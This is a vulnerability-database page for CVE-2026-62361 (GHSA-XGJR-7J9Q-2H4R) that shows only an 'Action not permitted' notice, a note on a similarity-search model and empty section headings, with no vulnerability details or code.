Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-62361 (GCVE-0-2026-62361)

FKIE_CVE-2026-62361

GHSA-XGJR-7J9Q-2H4R

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour